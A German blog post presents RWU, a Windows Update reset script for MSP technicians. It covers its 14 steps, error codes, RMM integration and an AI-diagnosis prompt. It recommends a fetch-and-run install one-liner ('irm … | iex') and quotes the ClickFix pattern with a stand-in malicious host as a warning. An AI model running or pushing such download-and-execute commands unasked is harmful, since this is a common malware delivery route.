Reset Windows Update: Der definitive MSP-Leitfaden für RWU

Manuel Gils Windows-Update-Reset-Script hatte über eine halbe Million Downloads, bevor er es im März 2023 archivierte. Der Dev-C++-Nachfolger — Reset-Windows-Update-Tool, 513 Sterne auf GitHub — folgte ihm am 16. Januar 2026 ins Archiv. Jahrelang waren das die Werkzeuge, zu denen Sysadmins griffen, wenn Microsofts Problembehandlung mit den Schultern zuckte und sagte „wir konnten das Problem nicht identifizieren.”

Sie sind jetzt weg. Und nichts hat sie ersetzt.

Suche heute „reset Windows Update” und du findest jede Menge Consumer-Guides. Screenshots von Einstellungs-Panels. „Klicke auf Problembehandlung, dann auf Zusätzliche Problembehandlungen.” Die Ironie: Diese Problembehandlung wird selbst mit der MSDT-Abkündigung eingestellt. Microsoft setzt sein eigenes Reparatur-Tool ab.

Für MSP-Techniker, die hunderte Endpoints verwalten, ist die Lücke schlimmer. Du brauchst etwas, das sich still über dein RMM ausführen lässt. Etwas, das nicht die Intune-Ring-Konfiguration vernichtet, an der dein Team drei Wochen gefeilt hat. Etwas, das einen strukturierten Exit-Code liefert, nicht einen GUI-Dialog, vor dem niemand sitzt.

Deshalb habe ich RWU gebaut. Es ist kein weiterer „geheimer Trick” für Windows Update. Es ist ein 14-Schritte-Workflow für Techniker — überprüfbar, reversibel, mit sicheren Standardwerten, optionalen gefährlichen Operationen, CLI-Exit-Codes für Automatisierung und Diagnoseausgaben, die für KI-Analyse strukturiert sind. Eine einzige .cmd-Datei. GPL-3.0. Kein Installer, keine Telemetrie, keine Persistenz.

RWU Reset and Repair Utility für Windows Update — Terminal-Interface

Die drei Fehler-Kategorien

Die meisten Windows-Update-Guides überspringen die Diagnose und springen direkt zur Lösung. Dienste stoppen, SoftwareDistribution löschen, neu starten, Daumen drücken. Das funktioniert ungefähr ein Drittel der Zeit. Die anderen zwei Drittel hast du zwanzig Minuten verschwendet und die Dinge möglicherweise verschlimmert.

Das Problem: Windows-Update-Fehler sind nicht ein Problem. Es sind drei.

Windows Update zeigt Installationsfehler 0x800f0922 bei zwei kumulativen Updates — Der Bildschirm, den jeder Sysadmin kennt — 0x800f0922 bei zwei kumulativen Updates.

Kategorie 1: Korruption des lokalen Zustands. Der SoftwareDistribution-Ordner ist verottet. Catroot2 hat Hash-Unstimmigkeiten. Die BITS-Transfer-Warteschlange hängt fest. Klassische Codes: 0x80070002, 0x80073712. Die Update-Pipeline der Maschine steckt in ihren eigenen veralteten Daten fest. Ein lokaler Reset — Dienste stoppen, Ordner umbenennen, DLLs neu registrieren — löst das zuverlässig.

Kategorie 2: Richtlinien-Konflikte. Das ist die, die MSPs beißt. Eine Maschine, die mal auf einen WSUS-Server zeigte, hat noch den Registry-Cookie. Ein Intune-verwaltetes Gerät hat widersprüchliche Windows-Update-for-Business-Ring-Einstellungen, die über einer verbliebenen Group Policy liegen, von als es noch domain-joined war. Die Symptome sehen identisch zu Kategorie 1 aus. Die Lösung ist komplett anders — und wenn du die Lösung von Kategorie 1 anwendest, ohne den Richtlinien-Zustand zu bereinigen, bist du in einer Woche wieder da.

Kategorie 3: Microsoft hat etwas kaputt gemacht. KB5089549 im Mai 2026 verursachte 0x800f0922-Fehler, weil das kumulative Update mehr EFI-Partitionsplatz brauchte, als viele Maschinen hatten. KB5082063 im April 2026 crashte LSASS auf Domain Controllern mit Privileged Access Management und verursachte eine Endlos-Neustart-Schleife, die Microsofts Notfall-Out-of-Band-Patch KB5091157 erforderte. Kein lokales Reset-Script behebt das. Du brauchst den richtigen Patch, Partitionspflege oder einen Boot in die Wiederherstellungsumgebung.

Die Gefahr, diese Kategorien zu verwechseln, ist real. Ein „alle Dienste stoppen und alles löschen inklusive Registry-Richtlinien”-Ansatz behebt Kategorie 1. Er beschädigt Kategorie 2 katastrophal — du hast gerade ein verwaltetes Gerät aus deinem Update-Management-Ring entfernt. Und er verschwendet wertvolle Zeit bei Kategorie 3, während ein Domain Controller in deiner Produktionsumgebung in einer Neustart-Schleife hängt.

RWUs Architektur bildet diese Kategorien direkt ab. Kategorie-1-Reparaturen sind Standard. Kategorie-2-Operationen (Richtlinien-Löschung, SDDL-Reset) erfordern ausdrückliche Aktivierung. Kategorie 3 wird diagnostiziert und als „außerhalb der Reichweite dieses Tools — hier ist, was als Nächstes untersucht werden muss” markiert.

Die Tool-Landschaft: Wer macht was

Hier der aktuelle Stand der Windows-Update-Reparatur-Tools:

Tool	Status	Einzelne Schritte	Interface	KI-taugliche Logs?	Hash-Verifikation?
RWU	Aktiv	Ja — 14 Schritte	TUI + CLI (0/1/2)	Ja	Ja (SHA256)
Microsoft WU Troubleshooter	Abgekündigt mit MSDT	Teilweise	Nur GUI	Nein	N/A
ManuelGil Reset-Windows-Update-Tool	Archiviert Jan 2026	Ja	TUI-Menü	Nein	Nein
ManuelGil Script-Reset-WU	Archiviert Mär 2023	Ja	Keine	Nein	Nein
ChrisTitusTech/winutil	Aktiv	Nein	GUI	Nein	Nein
PSWindowsUpdate	Aktiv	Ja	Cmdlet	Nein	Modul-Signierung

WinUtil verdient eine Erwähnung. Mit rund 55.000 Sternen ist Chris Titus Techs Tool das sichtbarste Open-Source-Windows-Utility. Es ist ausgezeichnet für Debloating und Systemkonfiguration. Aber sein Updates-Modul schaltet nur zwischen Default-, Security-only- und Disabled-Update-Richtlinien um. Es repariert keine kaputten Windows-Update-Komponenten. Wenn jemand WinUtil für eine 0x80073712-Komponentenspeicher-Korruption empfiehlt, verwechselt er Update-Einstellungen mit Update-Reparatur.

Manuel Gils Tools waren das echte Ding. Das .bat-Script war einfach und effektiv — Dienste stoppen, Ordner umbenennen, DLLs neu registrieren. Genau der KB971058-Workflow, den Microsoft dokumentiert hatte. Aber keine Version hatte RMM-Exit-Codes, KI-taugliche Diagnosen oder eine Trennung zwischen sicheren und gefährlichen Operationen. Alles lief in Reihenfolge, jedes Mal.

Was RWU tatsächlich macht

Die 14-Schritte-Architektur

RWUs Schritte gruppieren sich in logische Phasen:

Schritt 0 — Diagnose. Bevor sich irgendetwas ändert, erfasst RWU den Systemzustand: OS-Version und Build, Dienststatus für wuauserv/cryptSvc/bits/msiserver/appidsvc, Festplattenplatz inklusive EFI-Partition, die letzten 100 Zeilen von CBS.log (nicht die vollständige Multi-Hundert-Megabyte-Datei) und aktuelle Windows-Update-Ereignisprotokolleinträge. Diese Ausgabe ist für KI-Analyse konzipiert.

Schritte 1–2 — Dienste stoppen. Windows Update, Kryptographische Dienste, BITS, Windows Installer, Application Identity. RWU wartet auf saubere Stops, statt Prozesse zu killen, was Datenkorruption im Komponentenspeicher vermeidet.

Schritte 3–5 — Bereinigen und neu aufbauen. SoftwareDistribution wird mit Zeitstempel umbenannt — SoftwareDistribution.bak.20260522-143022 — sodass ein zweiter Durchlauf nicht an einem existierenden .bak-Ordner scheitert. Catroot2 bekommt die gleiche Behandlung. Dann werden die zentralen Windows-Update-DLLs neu registriert: 34 DLLs von atl.dll bis wuwebv.dll, die die gesamte Update- und Kryptografie-Pipeline abdecken.

Schritte 6–7 — GEFÄHRLICH (nur mit ausdrücklicher Aktivierung). Schritt 6 exportiert und löscht dann Windows-Update-Registry-Richtlinien unter HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate. Schritt 7 setzt die BITS- und WU-Dienst-Sicherheitsdeskriptoren auf Windows-Standardwerte zurück. Beide sind standardmäßig AUS. Beide erfordern ausdrückliche Aktivierung — ein TUI-Toggle oder CLI-Flags /policy und /sddl.

Schritt 8 — Systemdatei-Reparatur. sfc /scannow gefolgt von DISM /Online /Cleanup-Image /RestoreHealth. Die Eins-Zwei-Kombination gegen Komponentenspeicher-Korruption. RWU erfasst die Ausgabe zur diagnostischen Überprüfung.

Schritte 9–10 — Netzwerk-Stack. Winsock-Reset und Proxy-Einstellungen löschen. Diese fangen Fälle, in denen Update-Fehler tatsächlich Netzwerk-Stack-Korruption sind.

Schritte 11–14 — Abschluss. Gestoppte Dienste neu starten, einen Update-Erkennungszyklus erzwingen, das Ereignisprotokoll ausgeben und eine Zusammenfassung mit strukturiertem Exit-Code generieren.

Sichere Standardwerte: Warum Schritte 6 und 7 gesperrt sind

Das ist die Architekturentscheidung, die mir am meisten am Herzen liegt.

Schritt 6 löscht Windows-Update-Registry-Richtlinien. Auf einem alleinstehenden Heim-PC ist das in Ordnung. Auf einem Intune-verwalteten Gerät hast du gerade die Windows-Update-for-Business-Ring-Mitgliedschaft zerstört. Das Gerät wechselt von „Pilot-Ring, 7-Tage-Verzögerung” zu „unverwaltet, installiert alles, was Microsoft gerade pusht.” Auf einer Maschine, die noch auf einen WSUS-Server zeigt (ja, WSUS wurde im September 2024 abgekündigt, aber viele Umgebungen betreiben es noch), hast du gerade den WSUS-Zeiger entfernt, und die Maschine beginnt Updates direkt vom Microsoft-CDN zu ziehen.

Schritt 7 setzt Dienst-Sicherheitsdeskriptoren zurück. Auf einem gesperrten Enterprise-Endpoint, wo Sicherheitstools diese Deskriptoren absichtlich verschärft haben, hast du diese Sicherheitshaltung gerade gebrochen.

TroubleChutes Update-Guides setzen Richtlinien standardmäßig zurück. Manuel Gils Tools führten alles in Reihenfolge aus, ohne Konzept einer schrittweisen Aktivierung. RWU trennt sichere von destruktiven Operationen. Der Standard ist sicher. Die nukleare Option ist verfügbar — aber du musst sie ausdrücklich anfordern.

Erste Schritte

Eine Zeile:

irm matbanik.info/rwu | iex

Was passiert: Der rwu.ps1-Launcher wird von matbanik.info heruntergeladen, holt das neueste RWU-Release von GitHub, verifiziert den SHA256-Hash, extrahiert Reset_WindowsUpdate.cmd und führt es mit einer UAC-Erhöhungsaufforderung aus. Wenn der Hash nicht übereinstimmt, wird nichts ausgeführt.

RWU-Launcher verifiziert SHA256-Hash neben dem TUI-Hauptmenü — Links: Der Launcher verifiziert SHA256 vor der Ausführung. Rechts: Das TUI-Menü mit sicheren Standardeinstellungen — Schritte 6/7 deaktiviert.

Das Vertrauensmodell: GPL-3.0-Quellcode auf GitHub. SHA256-Verifikation vor der Ausführung. Eine einzige .cmd-Datei — kein Installer, keine Persistenz, keine Telemetrie. Du kannst jede Zeile Code überprüfen, bevor sie deinen Endpoint berührt.

Jetzt der Elefant im Raum. Microsofts Security-Blog hat im August 2025 PowerShells irm- und iex-Cmdlets als „sehr verbreitet” in ClickFix-Social-Engineering-Kampagnen markiert. Bedrohungsakteure bringen Benutzer dazu, irm bösartige-seite.com | iex auszuführen, und das Spiel ist vorbei.

RWUs Hash-Verifikation adressiert das direkt. Der Launcher lädt nicht blind herunter und führt aus. Er lädt herunter, verifiziert SHA256 gegen die veröffentlichte Prüfsumme und führt nur bei Übereinstimmung aus. Ein kompromittierter Download-Pfad erzeugt eine Hash-Unstimmigkeit und der Launcher bricht ab.

Wenn irm | iex dir immer noch nicht behagt — verständlich — lade direkt von GitHub Releases herunter. Die .cmd-Datei ist direkt dort. Verifiziere den Hash selbst.

Fehlercodes und ihre Bedeutung

Windows-Update-Fehlercodes sind hexadezimales Elend. Hier ist eine Zuordnung der häufigsten zu dem, was tatsächlich kaputt ist, und welche RWU-Schritte sie behandeln:

Fehlercode	Was er bedeutet	Ursache	RWU-Schritte
0x80070002	Datei/Registry-Schlüssel fehlt	SoftwareDistribution-Korruption	Schritte 3–5
0x800f0922	CBS-Staging-Fehler	EFI-Partitionsplatz erschöpft (Mai 2026 KB5089549)	Schritt 0 diagnostiziert; Schritte 3–5 für Staging
0x80073712	Komponentenspeicher korrupt	Manifest-Unstimmigkeit in WinSxS	Schritt 8 (DISM)
0x800f081f	DISM-Quelldateien fehlen	Keine Reparaturquelle verfügbar	Schritt 8 mit /Source:wim
0x80240069	Neustart ausstehend	Vorheriges Update erfordert Neustart	Schritte 11–14
0x8024402c	WU-Server nicht erreichbar	Netzwerk-Stack- oder Proxy-Problem	Schritte 9–10
0x80244022	Server nicht verfügbar	Microsoft-CDN blockiert oder down	RWU diagnostiziert; Firewall-/Proxy-Problem
0x8024401c	Verbindungs-Timeout	Proxy- oder Latenz-Problem	Schritte 9–10; Firewall-Regeln nötig

Der 0x800f0922-Code verdient Beachtung. KB5089549 im Mai 2026 löste ihn massenhaft aus, weil das kumulative Update mehr EFI-Partitionsplatz brauchte, als viele Maschinen hatten. Microsoft bestätigte, dass Maschinen mit 10 MB oder weniger freiem EFI-Speicher in eine Rollback-Schleife bei 35 % der Installation gerieten. RWUs Schritt-0-Diagnose wird wenig EFI-Platz melden. Es kann die Partition nicht für dich vergrößern — aber zumindest weißt du, dass du einer Hardware-Beschränkung nachjagst, nicht einer Software-Korruption.

RMM-Integration: CLI-Modus für MSPs

Das TUI ist nützlich für interaktive Fehlerbehebung. Für Flotten-Deployment brauchst du CLI.

Exit-Codes:

0 — Erfolg. Alle Schritte ohne Fehler abgeschlossen.
1 — Fehler. Mindestens ein Schritt hatte Fehler. Prüfe das Log.
2 — Nutzungsfehler. Falsche Argumente oder Hilfe angefordert.

CLI-Flags:

Flag	Aktion
`/diag`	Nur Diagnose (Schritt 0). Keine Änderungen.
`/reset`	Vollständiger sicherer Reset (Schritte 1–5, 8–14).
`/step N`	Bestimmten Schritt ausführen. Gültig: 0, 1-2, 3, 4, 5, 6, 7, 8, 9-10, 11-14.
`/policy`	Schritt 6 aktivieren (Richtlinien-Löschung). Ausdrückliche Aktivierung.
`/sddl`	Schritt 7 aktivieren (SDDL-Reset). Ausdrückliche Aktivierung.
`/logdir "Pfad"`	Logs in ein bestimmtes Verzeichnis schreiben.

Stiller Deployment:

Reset_WindowsUpdate.cmd /reset /logdir "C:\Temp\RWU"

Das führt die sichere Reset-Sequenz aus und schreibt Logs nach C:\Temp\RWU. Der Exit-Code sagt deinem RMM, ob es funktioniert hat.

NinjaRMM-Integrationsbeispiel:

$logDir = "C:\Temp\RWU"
$result = Start-Process -FilePath "C:\Tools\Reset_WindowsUpdate.cmd" `
  -ArgumentList "/reset /logdir $logDir" -Wait -PassThru

# Logs zum zentralen Share mit Computername-Präfix kopieren
$centralShare = "\\SERVER\RWU-Logs"
Get-ChildItem -Path $logDir -Filter "*.log" | ForEach-Object {
    $destName = "$($env:COMPUTERNAME)_$($_.Name)"
    Copy-Item -Path $_.FullName -Destination "$centralShare\$destName" -Force
}

if ($result.ExitCode -eq 0) {
    Ninja-Property-Set rwuStatus "Success"
} elseif ($result.ExitCode -eq 1) {
    Ninja-Property-Set rwuStatus "Failed - Check logs"
    # Ticket erstellen
} else {
    Ninja-Property-Set rwuStatus "Usage error"
}

Der Log-Sammelschritt nimmt jede .log-Datei, die RWU erzeugt hat, stellt den COMPUTERNAME der Maschine voran und kopiert sie auf einen zentralen UNC-Share. Nach einem flottenweiten Lauf enthält \\SERVER\RWU-Logs die Dateien FRONT-DESK-PC_RWU_20260522.log, DC01_RWU_20260522.log usw. — alles an einem Ort. Ersetze \\SERVER\RWU-Logs durch deinen eigenen Netzwerkpfad.

Das gleiche Muster funktioniert mit Datto, ConnectWise Automate oder jedem RMM, das PowerShell-Scripting und Exit-Code-Parsing unterstützt.

Das /diag-Flag ist der Unterschätzte. Führe es auf deiner gesamten Flotte vor dem Patch Tuesday aus. Parse die Ausgabe. Identifiziere Maschinen mit wenig EFI-Platz, gestoppten Diensten oder veralteten Richtlinien-Cookies, bevor du das kumulative Update pushst. Pre-Flight-Diagnosen sparen mehr Zeit als Post-Failure-Remediation.

RWU im CLI-Diagnosemodus mit strukturierter Ausgabe — RWU /diag-Modus — nur Diagnose, keine Änderungen. Das Log ist bereit für KI-Analyse.

KI-taugliche Diagnose

CBS.log ist der Ort, wo Windows-Update-Debugging lebt. Und wo Debugging-Karrieren sterben. Die Datei wächst routinemäßig auf Hunderte Megabyte granularer Servicing-Telemetrie. Den tatsächlichen Fehler in diesem Volumen zu finden, ist mühsam — selbst für erfahrene Techniker.

RWUs Schritt 0 erfasst einen strukturierten Diagnose-Snapshot — die relevanten Daten, vorverarbeitet für KI-Konsum:

=== RWU Diagnostic Output ===
OS: Windows 11 Pro 24H2 (Build 26100.1742)
Disk C: 47.2 GB free of 237.8 GB
EFI Partition: 89 MB free of 100 MB  [WARNING: LOW SPACE]

Service Status:
  wuauserv: Running
  cryptSvc: Running
  bits: Running
  msiserver: Stopped

CBS.log tail (last 100 lines):
2026-05-22 14:23:17, Error CBS  Failed to resolve package:
  Package_for_KB5089549~31bf3856ad364e35~amd64~~26100.1742.1.0
  [HRESULT = 0x800f0922]

Kopiere das in ChatGPT, Claude oder Copilot mit diesem Prompt:

You are a Windows Update diagnostic expert. Below is the log output
from RWU (Reset Windows Update utility). Analyze it and respond with
a "Bottom Line" summary using exactly these questions:

- What went wrong?
- Is the hard drive failing?
- Is my data safe?
- Can it be fixed?
- What caused this?
- What's the risk if I wait?

Keep answers to 1–2 sentences each. Use plain language a non-technical
client would understand. Bold Yes/No answers where applicable.

RWU log output:
<paste log here>

KI-generierte Bottom-Line-Zusammenfassung aus dem RWU-Diagnose-Log — Füge das RWU-Log ein, bekomme eine „Bottom Line"-Zusammenfassung für den Kunden — direkt ins Ticket.

Das „Bottom Line”-Format ist der Zeitsparer. Du bekommst eine kundenfertige Zusammenfassung, die du direkt in ein Ticket oder eine E-Mail einfügen kannst — keine Übersetzung nötig. Auf Genauigkeit prüfen, absenden. Ich habe mehr über der KI deine Kommunikationsmuster beibringen und KI-Ausgaben auf Genauigkeit prüfen in verwandten Posts geschrieben.

Die wichtige Erkenntnis: Eine 200-MB-CBS.log an einen LLM zu senden ist teuer und sprengt meist die Kontext-Limits. 100 vorverarbeitete relevante Zeilen zu senden kostet fast nichts und gibt der KI genau das, was sie braucht.

Wann RWU nicht hilft

Ehrliche Grenzen bauen mehr Vertrauen auf als falsches Selbstbewusstsein. Hier ist, was RWU nicht reparieren kann:

EFI-Partitionserschöpfung. Schritt 0 diagnostiziert es. RWU kann keine Partitionen vergrößern. Du brauchst diskpart oder einen Partitionsmanager, um die EFI-Partition zu erweitern, oder alte Boot-Einträge mit bcdboot/bcdedit aufzuräumen.

LSASS-Neustart-Schleife auf Domain Controllern. Das April-2026-KB5082063 crasht LSASS, bevor jedes lokale Tool laufen kann. Du brauchst Microsofts Out-of-Band-Patch KB5091157, der über die Wiederherstellungsumgebung installiert wird.

Windows 10 ESU-Registrierungsfehler. Wenn die Extended-Security-Update-Lizenzierung nicht validiert ist, schlagen Updates mit Lizenzfehlern fehl. Das ist ein Lizenzproblem, kein WU-Komponentenproblem.

Netzwerk-Level-Blockaden. Wenn deine Firewall Microsoft-CDN-Endpoints blockiert, hilft ein Reset des lokalen Netzwerk-Stacks nicht. Der Stack ist in Ordnung. Die Richtlinie blockiert den Verkehr.

Irreparable Komponentenspeicher-Schäden. Wenn DISM /RestoreHealth mit „Quelldateien konnten nicht gefunden werden” fehlschlägt und du kein passendes install.wim hast, steht ein In-Place-Upgrade oder eine Neuinstallation an. RWU sagt dir, dass DISM fehlgeschlagen ist — es kann keine fehlenden Quelldateien herbeizaubern.

Wie geht’s weiter

Der RWU-Quellcode ist auf GitHub. GPL-3.0. Gib einen Stern, wenn es nützlich ist — Sichtbarkeit hilft anderen Technikern, das Tool zu finden. Issues sind offen für Bugs und Feature-Requests.

Manuel Gils Tools haben der Windows-Admin-Community jahrelang gedient. Als sie archiviert wurden, hinterließen sie eine Lücke, die Consumer-Guides und Debloating-Utilities nicht füllen konnten. RWU macht dort weiter — mit den Ergänzungen, die moderne MSP-Workflows verlangen: Exit-Codes, die dein RMM parsen kann, sichere Standardwerte, die deine verwalteten Richtlinien nicht zerstören, und Diagnoseausgaben, die für das KI-gestützte Troubleshooting der neuen Normalität konzipiert sind.

Der Einzeiler: irm matbanik.info/rwu | iex. Oder von GitHub herunterladen. So oder so — überprüfbar, reversibel, professionelle Qualität.